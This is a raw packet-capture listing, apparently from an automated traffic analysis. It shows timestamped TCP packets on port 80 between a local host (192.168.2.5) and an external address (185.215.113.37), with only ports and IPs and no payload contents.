Oct 20, 2024 08:40:17.561923027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561930895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561933041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561944008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561950922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561959982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561975002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561980009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.561990976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.561996937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562005997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562021017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562022924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562036991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562047958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562052011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562067032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562072992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562089920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562091112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562105894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562119007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562120914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562133074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562135935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562150955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562150955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562161922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562165976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562179089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562180042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562194109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562201023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562207937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562218904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562220097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562236071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562238932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562251091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562263966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562266111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562280893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562287092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562297106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562304974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562311888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562326908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562328100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562341928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562356949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562356949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562372923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562378883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562388897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562397003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562402964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562417984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562421083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562432051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562434912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562446117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562448978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562463045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562463999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562478065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562480927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562490940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562494040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562508106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562511921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562522888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562525034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562530994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562539101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562552929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562561989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562567949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562581062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562583923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562596083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562608004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562612057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562625885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562625885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562639952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562648058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562657118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562671900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562683105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562685966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562700033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562705994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562715054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562728882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562731981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562745094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562757015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562760115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562776089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562781096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562792063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.562800884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562824011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.562838078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564038992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564054966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564069986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564086914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564090967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564110994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564120054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564126015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564150095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564155102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564162970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564177036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564178944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564193010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564203978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564219952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564222097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564229965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564241886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564256907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564263105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564273119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564280033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564287901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564295053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564304113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564306021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564318895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564325094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564335108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564348936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564374924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564429998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564502001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564513922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564538002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564553976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564554930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564568043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564574957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564583063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564591885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564600945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564604044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564630032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564642906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564682961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564707041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564722061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564723015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564744949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564747095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564755917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564769983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564784050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564791918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564806938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564809084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564821005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564827919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564836025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564841032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564851999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564857960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564867020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564870119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564886093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564899921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564915895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564917088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564929962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564939976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564946890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564956903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564963102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564977884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.564980030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.564991951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.565006018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.565015078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.565021038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.565032005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.565036058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.565052032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.565059900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.565068007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.565077066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.565099001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.565116882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.747853994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.747870922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.747885942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.747922897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.747934103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.747948885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.747951031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.747965097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.747977018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.747981071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.747994900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.747997999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748011112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748013020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748034000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748038054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748048067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748051882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748069048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748075962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748087883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748100996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748102903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748121023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748126984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748147011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748204947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748219967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748243093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748245955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748256922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748261929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748271942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748287916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748296022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748302937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748307943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748311996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748325109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748343945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748349905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748364925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748366117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748383045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748388052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748390913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748409986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748415947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748423100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748430967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748436928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748446941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748483896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748498917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748505116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748514891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748526096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748538017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748544931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748553991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.748567104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748578072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748594999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.748980999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.749006987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.749022007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.749038935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.749044895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.749053955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.749069929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.749095917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.749103069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.749108076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.749121904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.749155045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.749165058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.749193907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.749197960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.749211073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.749233961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.749253988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.749322891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.749346018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.749361992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.749373913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.749380112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.749389887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.749403954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.749407053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.749419928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.749428034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.749429941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.749444962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.749458075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.749474049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.749480009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.749480009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.750025034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.750777006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.750827074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.750986099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751008987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751024008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751039982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751049995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751055956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751070023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751072884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751085997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751097918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751101971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751116037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751125097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751131058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751137018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751147032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751159906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751162052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751172066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751178026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751192093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751198053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751207113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751221895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751228094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751238108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751245975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751267910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751274109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751322031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751334906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751358986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751363039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751374006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751380920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751403093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.751413107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751435041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751446962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.751471043 CEST	80	49704	185.215.113.37	192.168.2.5
